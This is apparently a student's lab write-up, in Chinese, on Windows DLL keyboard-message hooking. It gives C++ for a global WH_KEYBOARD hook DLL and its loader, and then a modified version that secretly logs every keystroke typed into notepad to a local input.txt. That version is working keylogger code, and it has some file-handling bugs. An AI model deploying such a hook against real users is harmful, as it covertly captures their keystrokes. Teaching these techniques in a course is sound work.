軟體逆向工程-dll消息鈎取
- DLL注入實驗-dll消息鈎取HOOK
-
- Assignment
-
- HookDll.cpp
- TsetHook.cpp
- 修改dll實作功能
-
- CODE C++
- 實作
DLL注入實驗-dll消息鈎取HOOK
Assignment
修改改HookDll.cpp,鈎取對notepad的輸入,使得:
a)輸入文本仍能正常顯示
b)所有輸入文本能夠記錄到input.txt檔案中
HookDll.cpp
#include "windows.h"
#include "tchar.h"
HINSTANCE g_hInstance = NULL;
HHOOK g_hHook = NULL;
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpvReserved){
switch( dwReason ){
case DLL_PROCESS_ATTACH:
g_hInstance = hinstDLL;
break;
}
return TRUE;
}
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam){
TCHAR szPath[MAX_PATH] = {0,};
TCHAR *p = NULL;
if( nCode >= 0 ) {
if( !(lParam & 0x80000000) ){ //lParam的第31位(0:按鍵;1:釋放鍵)
GetModuleFileName(NULL, szPath, MAX_PATH);
p = _tcsrchr(szPath, _T('\\'));
//若裝載目前DLL的程序為notepad.exe,則消息不會傳遞給下一個鈎子
if( !lstrcmpi(p + 1, _T("notepad.exe")) )
return 1;
}
}
// 目前程序不是notepad.exe,将消息傳遞給下一個鈎子
return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}
#ifdef __cplusplus
extern "C" {
#endif
__declspec(dllexport) void HkStart() {
g_hHook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstance, 0);
}
__declspec(dllexport) void HkStop() {
if( g_hHook ) {
UnhookWindowsHookEx(g_hHook);
g_hHook = NULL;
}
}
#ifdef __cplusplus
}
#endif
j使用vs2017編譯生成dll,程式作用:鈎取notepad(記事本)的消息輸入。不過這是notepad不能正常輸入,也不能記錄鈎取的資料,關鍵代碼都有注釋。
OS消息隊列和應用程式消息隊列之間存在一條鈎鍊(Hook Chain),設定好鍵盤消息鈎子後,處于鈎鍊中的鍵盤消息鈎子會比應用程式先一步看到相應資訊。在鍵盤消息鈎子函數的内部,除了可以檢視消息之外,還可以修改消息本身,而且還能對消息實施攔截,阻止消息傳遞。可以同時設定多個相同的鍵盤消息鈎子,按照設定的順序依次調用,進而組成的鍊條稱為鈎鍊。
TsetHook.cpp
#include "stdio.h"
#include "windows.h"
#include "tchar.h"
typedef void (*PFN_HOOKSTART)();
typedef void (*PFN_HOOKSTOP)();
int _tmain(int argc, TCHAR* argv[]) {
HMODULE hDll = NULL;
if( (hDll = LoadLibraryA("HookDll.dll")) == NULL )// 裝載HookDll.dll
return FALSE;
// 擷取導出函數HkStart()和HkStop()的位址
PFN_HOOKSTART HookStart = (PFN_HOOKSTART)GetProcAddress(hDll, "HkStart");
PFN_HOOKSTOP HookStop = (PFN_HOOKSTOP)GetProcAddress(hDll, "HkStop");
HookStart(); //開始鈎取鍵盤消息
_tprintf(_T("press 'q' to quit!\n"));
while( getchar() != 'q' ); // 等到使用者輸入'q'才終止鈎取
HookStop(); //終止鈎取鍵盤消息
FreeLibrary(hDll); //解除安裝HookDll.dll
return TRUE;
}
其中TestDll主要是進行HookDll.dll的裝載與解除安裝,擷取HkStart HkStop的位址,并且使用q來判斷使用者輸入是否終止。
修改dll實作功能
CODE C++
// dllmain.cpp : 定義 DLL 應用程式的入口點。 //hookdll1 鈎取notepad的輸入 同時不影響正常輸入 并把輸入儲存到指定的txt
#define _CRT_SECURE_NO_WARNINGS
#include "stdafx.h"
#include "windows.h"
#include "tchar.h"
#include <stdio.h>
//
HINSTANCE g_hInstance = NULL;
HHOOK g_hHook = NULL;
//dllmain
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpvReserved) {
switch (dwReason) {
//當DLLMain處理DLL_PROCESS_ATTACH時,DLLMain函數的傳回值表示DLL的初始化是否成功。成功傳回TRUE,否則傳回FALSE。
case DLL_PROCESS_ATTACH:
g_hInstance = hinstDLL;
break;
}
return TRUE;
}
//keyboardproc
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
TCHAR szPath[MAX_PATH] = { 0, };
TCHAR *p = NULL;
FILE *fp = NULL;
if ((fp = fopen("C:test\\input.txt", "a+"))==NULL) {//儲存輸入的txt
printf("open txt error");
}
if (nCode >= 0) {//nCode 鈎子識别碼
if (!(lParam & 0x80000000)) { //lParam的第31位(0:按鍵;1:釋放鍵)
GetModuleFileName(NULL, szPath, MAX_PATH);
p = _tcsrchr(szPath, _T('\\'));//目前路徑\\後的内容(notepad.exe)
//若裝載目前DLL的程序為notepad.exe
if (!lstrcmpi(p + 1, _T("notepad.exe")))//為notepad程式
{
char c = wParam;//擷取消息
fwrite(&c, 1, 1, fp);//一位元組一進制素寫入
CallNextHookEx(g_hHook, nCode, wParam, lParam);//使文字正常輸入
//return 1;//這個要注釋掉
}
}
fclose(fp);
}
// 目前程序不是notepad.exe,将消息傳遞給下一個鈎子
return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}
#ifdef __cplusplus
extern "C" {
#endif
__declspec(dllexport) void HkStart() {
g_hHook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstance, 0);//sethook開啟
}
__declspec(dllexport) void HkStop() {
if (g_hHook) {
UnhookWindowsHookEx(g_hHook);//unhook關閉
g_hHook = NULL;
}
}
#ifdef __cplusplus
}
#endif
實作
PS 關于vs如何使用ddl 參考https://blog.csdn.net/qq_37902078/article/details/80144696
windows鈎取 https://blog.csdn.net/SKI_12/article/details/80684358